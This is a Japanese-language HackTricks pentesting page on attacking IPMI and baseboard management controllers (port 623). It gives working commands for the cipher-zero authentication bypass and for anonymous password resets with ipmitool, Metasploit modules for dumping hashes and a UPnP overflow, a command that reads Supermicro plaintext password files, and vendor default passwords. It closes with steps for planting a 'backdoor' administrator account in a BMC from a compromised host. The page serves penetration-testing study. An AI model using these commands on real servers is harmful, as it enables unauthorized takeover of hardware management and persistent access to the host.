# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## 基本情報
### **IPMIの概要**
**[インテリジェントプラットフォーム管理インターフェース (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** は、オペレーティングシステムや電源状態に依存せず、コンピュータシステムのリモート管理と監視のための標準化されたアプローチを提供します。この技術により、システム管理者は、システムがオフまたは応答しない場合でも、リモートでシステムを管理でき、特に以下の用途に便利です:
- OSブート前の設定
- 電源管理
- システム障害からの回復
IPMIは、温度、電圧、ファン速度、電源供給の監視が可能で、在庫情報の提供、ハードウェアログのレビュー、SNMPを介したアラートの送信も行います。その運用に必要なのは、電源とLAN接続です。
1998年にインテルによって導入されて以来、IPMIは多くのベンダーによってサポートされ、特にバージョン2.0のLAN経由のシリアルサポートにより、リモート管理機能が強化されました。主要なコンポーネントには以下が含まれます:
- **ベースボード管理コントローラー (BMC):** IPMI操作のための主要なマイクロコントローラー。
- **通信バスとインターフェース:** ICMB、IPMB、ローカルおよびネットワーク接続用のさまざまなインターフェースを含む内部および外部通信のためのもの。
- **IPMIメモリ:** ログとデータを保存するためのもの。
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**デフォルトポート**: 623/UDP/TCP(通常はUDPですが、TCPで動作している場合もあります)
## 列挙
### 発見
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
あなたは**バージョン**を次のようにして**特定**できます:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMIの脆弱性
IPMI 2.0の領域では、Dan Farmerによって重要なセキュリティ欠陥が発見され、**cipher type 0**を通じて脆弱性が露呈しました。この脆弱性は、[Dan Farmerの研究](http://fish2.com/ipmi/cipherzero.html)で詳細に文書化されており、有効なユーザーがターゲットにされる限り、任意のパスワードで不正アクセスを可能にします。この弱点は、HP、Dell、SupermicroなどのさまざまなBMCで見つかり、すべてのIPMI 2.0実装における広範な問題を示唆しています。
### **Cipher 0によるIPMI認証バイパス**
この欠陥を検出するために、以下のMetasploit補助スキャナーを使用できます:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
この欠陥の悪用は、以下に示すように `ipmitool` を使用して実現可能であり、ユーザーパスワードのリスト表示と変更を可能にします:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP 認証リモートパスワードハッシュ取得**
この脆弱性により、既存のユーザー名に対して塩を加えたハッシュ化されたパスワード(MD5およびSHA1)を取得できます。この脆弱性をテストするために、Metasploitはモジュールを提供しています:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI 匿名認証**
多くの BMC のデフォルト設定では、ユーザー名とパスワードが空の「匿名」アクセスが許可されています。この設定は、`ipmitool` を使用して名前付きユーザーアカウントのパスワードをリセットするために悪用される可能性があります。
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI 平文パスワード**
IPMI 2.0の重要な設計選択は、認証目的のためにBMC内に平文パスワードを保存する必要があります。Supermicroがこれらのパスワードを`/nv/PSBlock`や`/nv/PSStore`などの場所に保存することは、重大なセキュリティ上の懸念を引き起こします:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnPの脆弱性**
SupermicroのIPMIファームウェアにUPnP SSDPリスナーが含まれていること、特にUDPポート1900での実装は、深刻なセキュリティリスクをもたらします。[Rapid7の開示](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)で詳述されているように、UPnPデバイス用のIntel SDKバージョン1.3.1の脆弱性により、BMCへのルートアクセスが可能になります。
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### ブルートフォース
**HPは製造時に**その**Integrated Lights Out (iLO)**製品のデフォルトパスワードをランダム化します。この慣行は、**静的デフォルト資格情報**を使用する傾向のある他のメーカーとは対照的です。さまざまな製品のデフォルトユーザー名とパスワードの概要は以下の通りです:
- **HP Integrated Lights Out (iLO)**は、**工場でランダム化された8文字の文字列**をデフォルトパスワードとして使用し、より高いセキュリティレベルを示しています。
- **DellのiDRAC、IBMのIMM**、および**FujitsuのIntegrated Remote Management Controller**のような製品は、それぞれ「calvin」、「PASSW0RD」(ゼロを含む)、および「admin」のような簡単に推測可能なパスワードを使用しています。
- 同様に、**Supermicro IPMI (2.0)、Oracle/Sun ILOM**、および**ASUS iKVM BMC**も「ADMIN」、「changeme」、および「admin」をパスワードとして使用するシンプルなデフォルト資格情報を持っています。
## BMCを介してホストにアクセスする
Baseboard Management Controller (BMC)への管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。簡単なアプローチは、BMCのキーボード、ビデオ、マウス(KVM)機能を利用することです。これは、GRUBを介してホストをルートシェルに再起動する(`init=/bin/sh`を使用)か、リカバリディスクとして設定された仮想CD-ROMからブートすることで行えます。このような方法により、ホストのディスクを直接操作し、バックドアの挿入、データ抽出、またはセキュリティ評価のために必要な任意のアクションを実行できます。ただし、これはホストの再起動を必要とし、重大な欠点です。再起動せずに実行中のホストにアクセスすることはより複雑で、ホストの構成によって異なります。ホストの物理コンソールまたはシリアルコンソールがログインしたままであれば、BMCのKVMまたはシリアルオーバーLAN(sol)機能を介して`ipmitool`を使用して簡単に乗っ取ることができます。i2cバスやSuper I/Oチップのような共有ハードウェアリソースの悪用を探ることは、さらなる調査が必要な分野です。
## ホストからBMCにバックドアを導入する
BMCを装備したホストを侵害した場合、**ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入することができます**。これにより、サーバー上に持続的な存在を作成します。この攻撃には、侵害されたホストに**`ipmitool`**が存在し、BMCドライバーサポートが有効である必要があります。以下のコマンドは、認証をバイパスしてホストのローカルインターフェースを使用してBMCに新しいユーザーアカウントを注入する方法を示しています。この技術は、Linux、Windows、BSD、さらにはDOSを含む広範なオペレーティングシステムに適用可能です。
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %}